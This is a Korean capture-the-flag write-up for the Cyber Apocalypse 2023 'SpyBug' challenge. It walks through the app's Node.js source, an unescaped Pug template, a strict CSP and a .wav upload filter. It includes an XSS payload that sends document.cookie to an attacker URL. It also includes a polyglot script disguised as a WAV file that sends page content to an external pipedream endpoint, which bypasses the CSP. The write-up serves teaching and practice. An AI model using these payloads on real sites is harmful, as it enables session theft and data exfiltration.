[Study] Cyber Apocalypse 2023 SpyBug Writeup
주어진 페이지에 접근하면 로그인 페이지가 나타난다.
그 외 별다른 기능이 없는것같아서 주어진 소스코드를 분석해보았다.
adminbot.js 라는 흥미로운 파일이 있어서 먼저 분석하여 봇의 행동을 파악 해보았다.
//adminbot.js
require("dotenv").config();
const puppeteer = require("puppeteer");
const browserOptions = {
headless: true,
executablePath: "/usr/bin/chromium-browser",
args: [
"--no-sandbox",
"--disable-background-networking",
"--disable-default-apps",
"--disable-extensions",
"--disable-gpu",
"--disable-sync",
"--disable-translate",
"--hide-scrollbars",
"--metrics-recording-only",
"--mute-audio",
"--no-first-run",
"--safebrowsing-disable-auto-update",
"--js-flags=--noexpose_wasm,--jitless",
],
};
exports.visitPanel = async () => {
try {
console.log("[*] admin bot started")
const browser = await puppeteer.launch(browserOptions);
let context = await browser.createIncognitoBrowserContext();
let page = await context.newPage();
await page.goto("http://0.0.0.0:" + process.env.API_PORT, {
waitUntil: "networkidle2",
timeout: 5000,
});
await page.type("#username", "admin");
await page.type("#password", process.env.ADMIN_SECRET);
await page.click("#loginButton");
await page.waitForTimeout(5000);
await browser.close();
} catch (e) {
console.log(e);
}
};
브라우저를 열고 로그인 페이지에 접근하여 2초동안 대기 후(5초 동안 응답이 없으면 종료) 로그인을 수행한 후, 5초 대기 후 브라우저를 종료한다.
봇이 로그인 한 후 어떤 화면을 보게 될지 분석해보자.
//panel.js
const express = require("express");
const router = express.Router();
const {
checkUserLogin,
getAgents,
getRecordings,
} = require("./../utils/database");
const authUser = require("../middleware/authuser");
router.get("/panel", authUser, async (req, res) => {
res.render("panel", {
username:
req.session.username === "admin"
? process.env.FLAG
: req.session.username,
agents: await getAgents(),
recordings: await getRecordings(),
});
});
router.get("/panel/logout", authUser, (req, res) => {
req.session.destroy();
res.redirect("/panel/login");
});
router.get("/panel/login", (req, res) => {
res.render("login");
});
router.post("/panel/login", async (req, res) => {
let username = req.body.username;
let password = req.body.password;
if (!(username && password)) return res.sendStatus(400);
if (!(await checkUserLogin(username, password)))
return res.redirect("/panel/login");
req.session.loggedin = true;
req.session.username = username;
res.redirect("/panel");
});
module.exports = router;
/panel/login 부분을 보면 로그인 성공 시 /panel 로 리다이렉트를 시킨다.
/panel 에서는 admin으로 로그인 시 username으로 FLAG가 정의되며, getAgents(), getRecordings()이 수행된다.
뒤 두 메소드가 정의되어 있는 database.js를 분석해보자.
const bcrypt = require("bcryptjs");
const { v4: uuidv4 } = require("uuid");
const db = require("./../models");
const Op = db.Sequelize.Op;
exports.createAdmin = async () => {
await db.User.sync();
await db.User.create({
username: "admin",
password: bcrypt.hashSync(process.env.ADMIN_SECRET),
});
};
exports.checkUserLogin = async (username, password) => {
const results = await db.User.findOne({
where: {
username: username,
},
});
if (!results) return false;
if (!bcrypt.compareSync(password, results.password)) return false;
return true;
};
exports.registerAgent = async () => {
const agentId = uuidv4();
const agentToken = uuidv4();
const options = {
identifier: agentId,
token: agentToken,
};
await db.Agent.create(options);
return options;
};
exports.checkAgentLogin = async (agentId, agentToken) => {
const results = await db.Agent.findOne({
where: {
[Op.and]: [{ identifier: agentId }, { token: agentToken }],
},
});
if (!results) return false;
return true;
};
exports.updateAgentDetails = async (agentId, hostname, platform, arch) => {
console.log("[*] database/updateAgentDetails started!")
console.log(agentId)
console.log(hostname)
console.log(platform)
console.log(arch)
console.log("******************************")
await db.Agent.update(
{
hostname: hostname,
platform: platform,
arch: arch,
},
{
where: {
identifier: agentId,
},
}
);
};
exports.getAgents = async () => {
const results = await db.Agent.findAll();
if (!results) return false;
return results;
};
exports.createRecording = async (agentId, filepath) => {
console.log("[*] createRecoding started : ")
console.log(agentId)
console.log(filepath)
console.log("*****************")
await db.Recording.create({
agentId: agentId,
filepath: "/uploads/" + filepath,
});
};
exports.getRecordings = async () => {
const results = await db.Recording.findAll();
if (!results) return false;
return results;
};
각각 모든 agents 와 recordings 를 불러오는 듯 하다. 참고로 각각의 형태는 아래와 같다.
// Agents
module.exports = (sequelize, Sequelize) => {
const Agent = sequelize.define("agent", {
identifier: {
type: Sequelize.STRING,
allowNull: false,
},
token: {
type: Sequelize.STRING,
allowNull: false,
},
hostname: {
type: Sequelize.STRING,
allowNull: true,
},
platform: {
type: Sequelize.STRING,
allowNull: true,
},
arch: {
type: Sequelize.STRING,
allowNull: true,
},
});
return Agent;
};
//Recordings
module.exports = (sequelize, Sequelize) => {
const Recording = sequelize.define("recording", {
filepath: {
type: Sequelize.STRING,
allowNull: false,
},
agentId: {
type: Sequelize.STRING,
allowNull: false,
},
});
return Recording;
};
정리하면, admin은 브라우저를 열어서 로그인 페이지를 거쳐 로그인을 한다. 로그인을 하면 admin 권한으로 인해서 모든 agents와 recordings를 조회한다.
그 과정에서 panel이 어떻게 렌더링되는지 views/panel.pug 파일을 보면 agents의 정보가 !{~~} 형식으로 읽힘을 알 수 있다.
.pug 는 템플릿 형식의 일종이고, !{} 형태로 쓰이면 HTML 이스케이프가 되지 않아 XSS에 취약 할 수 있다.
(#{} 방식을 사용해야 한다.)
// panel.pug
doctype html
head
title Spybug | Panel
include head.pug
body
div.container.login.mt-5.mb-5
div.row
div.col-md-10
h1
i.las.la-satellite-dish
| Spybug v1
div.col-md-2.float-right
a.btn.login-btn.mt-3(href="/panel/logout") Log-out
hr
h2 #{"Welcome back " + username}
hr
h3
i.las.la-laptop
| Agents
if agents.length > 0
table.w-100
thead
tr
th ID
th Hostname
th Platform
th Arch
tbody
each agent in agents
tr
td= agent.identifier
// ######################################## XSS
td !{agent.hostname}
td !{agent.platform}
td !{agent.arch}
else
h2 No agents
...
따라서, XSS 공격을 염두해두고 더 분석을 해보았다.
해당 문제에는 특이하게 go언어로 작성된 spybug-agent.go 파일이 주어진다. 해당 파일의 행위를 요약하면
spybug.conf라는 파일에서 agents 의 id와 token을 읽어(혹은 가입하여) agent의 정보(hostname, platform, arch 등)을 업데이트 후 .wav파일을 업로드한다.
처음에는 agent의 정보를 업데이트하는 기능을 활용하여 XSS를 시도하려고 했다. 예를들어 hostname이
<img src=# onerror=fetch('공격자URL'+document.cookie)>
가 되도록 하면 admin이 로그인 후 /panel을 조회하면서 XSS가 발생하여 세션을 탈취 할 수 있을 것이다.
하지만 로컬에서 테스트해보니 실패했는데, 그 원인은 아래와 같이 index.js에서 CSP가 script-src 'self' 로 선언되어있었기 때문이다.
//index.js
require("dotenv").config();
const fs = require("fs");
const path = require("path");
const express = require("express");
const session = require("express-session");
const { createAdmin } = require("./utils/database");
const { visitPanel } = require("./utils/adminbot");
const genericRoutes = require("./routes/generic");
const panelRoutes = require("./routes/panel");
const agentRoutes = require("./routes/agents");
const application = express();
const uploadsPath = path.join(__dirname, "uploads");
if (!fs.existsSync(uploadsPath)) fs.mkdirSync(uploadsPath);
application.use("/uploads", express.static(uploadsPath));
application.use("/static", express.static(path.join(__dirname, "static")));
application.use(express.urlencoded({ extended: true }));
application.use(express.json());
application.use(
session({
secret: process.env.SESSION_SECRET,
resave: true,
saveUninitialized: true,
})
);
application.use((req, res, next) => {
// ******************************************************************
res.setHeader("Content-Security-Policy", "script-src 'self'; frame-ancestors 'none'; object-src 'none'; base-uri 'none';");
// ******************************************************************
res.setHeader("Cache-Control", "no-cache, no-store, must-revalidate");
res.setHeader("Pragma", "no-cache");
res.setHeader("Expires", "0");
next();
});
application.set("view engine", "pug");
application.use(genericRoutes);
application.use(panelRoutes);
application.use(agentRoutes);
application.listen(process.env.API_PORT, "0.0.0.0", async () => {
console.log(`Listening on port ${process.env.API_PORT}`);
});
createAdmin();
//// 1분마다 adminbot 실행
setInterval(visitPanel, 60000);
agent의 또 하나의 기능인 파일 업로드 부분을 분석해보자.
//agents.js
const fs = require("fs");
const path = require("path");
const { v4: uuidv4 } = require("uuid");
const express = require("express");
const router = express.Router();
const multer = require("multer");
const {
registerAgent,
updateAgentDetails,
createRecording,
} = require("./../utils/database");
const authAgent = require("../middleware/authagent");
const storage = multer.diskStorage({
filename: (req, file, cb) => {
cb(null, uuidv4());
},
destination: (req, file, cb) => {
cb(null, "./uploads");
},
});
const multerUpload = multer({ // ********************************** (1)
storage: storage,
fileFilter: (req, file, cb) => {
console.log("[*] multerUpload started!")
console.log(file.mimetype)
console.log(file.originalname)
console.log("***************************")
if (
file.mimetype === "audio/wave" &&
path.extname(file.originalname) === ".wav"
) {
cb(null, true);
} else {
return cb(null, false);
}
},
});
router.get("/agents/register", async (req, res) => {
console.log("[*] agent/register visited!")
res.status(200).json(await registerAgent());
});
router.get("/agents/check/:identifier/:token", authAgent, (req, res) => {
console.log("[*] agent/check visited!")
res.sendStatus(200);
});
router.post(
"/agents/details/:identifier/:token",
authAgent,
async (req, res) => {
const { hostname, platform, arch } = req.body;
if (!hostname || !platform || !arch) return res.sendStatus(400);
await updateAgentDetails(req.params.identifier, hostname, platform, arch);
res.sendStatus(200);
}
);
router.post(
"/agents/upload/:identifier/:token",
authAgent,
multerUpload.single("recording"), // ********************************* (1)
async (req, res) => {
console.log("[*] upload started?!")
console.log("req file is..")
//console.log(req)
console.log(req.file)
console.log("***********************************")
if (!req.file) {
console.log("[*] req.file false..")
return res.sendStatus(400);
}
const filepath = path.join("./uploads/", req.file.filename);
console.log("[*] filepath : ")
console.log(filepath)
console.log("*****************")
const buffer = fs.readFileSync(filepath).toString("hex");
console.log("[*] buffer : ")
console.log(buffer)
console.log("*****************")
if (!buffer.match(/52494646[a-z0-9]{8}57415645/g)) { // ******** (2)
fs.unlinkSync(filepath);
return res.sendStatus(400);
}
await createRecording(req.params.identifier, req.file.filename);
res.send(req.file.filename);
}
);
module.exports = router;
(1) mime type 이 audio/wave이며 파일 확장자가 .wav여야 함
(2) 버퍼를 toString("hex") 한 값이 정규식을 만족해야함(.wav파일의 시그니쳐 값을 검사. RIFF~~WAVE )
위 두 조건을 만족하면 파일업로드가 성공하는데, 정확하게 어떻게 구동되는지 파악하기 위해 로컬에서 디버깅을 해봤다.
조건을 만족하면 임의의 값으로 재정의된 파일명으로 uploads/ 경로에 저장되고, 재정의된 파일명을 response 해주는 듯 했다.
파일 업로드하는 과정에서 검증이 잘 되어있어 webshell파일 업로드는 힘들어보였지만, 파일명이 재정의될때 확장자 정보가 빠진다는 점을 이용하여 시나리오를 구성해보았다.
1. 플래그(admin으로 로그인 시 username으로 플래그가 정의되어 화면에 표기됨)를 읽는 스크립트 작성
2. 파일 검증을 만족하는 스크립트 파일 구성
2-1. 파일명은 ~.wav(audio/wave 타입 유지)
2-2. 스크립트에 시그니쳐 값 포함
3. 해당 파일을 업로드하여 response로 파일명 확인
4. agent가 register 후 정보 업데이트를 할때 <script src='/uploads/파일명'></script> 로 작성
5. admin이 panel에 접근하면서 스크립트 실행(로컬 경로 기반이므로 CSP의 영향을 받지 않음)
우선 주어진 rec.wav 파일의 원본을 주석처리 후 페이지 내 모든 Element값을 조사하여 플래그 형식과 매칭되는 값을 공격자 서버로 전송하는 스크립트 작성
const regex = /HTB{[^}]+}/g;
const url = 'https://eoo3yq7o4s41lui.m.pipedream.net/';
const urls = [];
const elements = document.getElementsByTagName('*');
for (let i = 0; i < elements.length; i++) {
const element = elements[i];
const elementText = element.textContent || element.innerText || '';
const matches = elementText.match(regex);
if (matches) {
for (let j = 0; j < matches.length; j++) {
const match = matches[j];
urls.push(url + match);
}
}
}
// urls에 있는 모든 url에 fetch 요청 보내기
urls.forEach((url) => {
console.log(url)
fetch(url)
})
해당 파일 업로드
agent에서 스크립트 src 설정
adminbot이 /panel 접근하여 스크립트가 실행되어 공격자 서버로 플래그 값 전송
위와 같이 설정한 시나리오가 유효하여 플래그를 획득 할 수 있었다.
* 시간이 조금만 더 있었으면 대회 기간 내 풀 수 있었을텐데 아쉬웠다.
(이상하게 go파일 agent로 파일 업로드를 시도하면 서버에서 mime type을 잘 못 읽어 파일업로드가 되지 않았다.. 그러다가 혹시나 해서 insomnia로 해보니까 되었는데.. 이 부분에서 시간을 많이 소모했다.)
FLAG = HTB{p01yg10t5_4nd_35p10n4g3}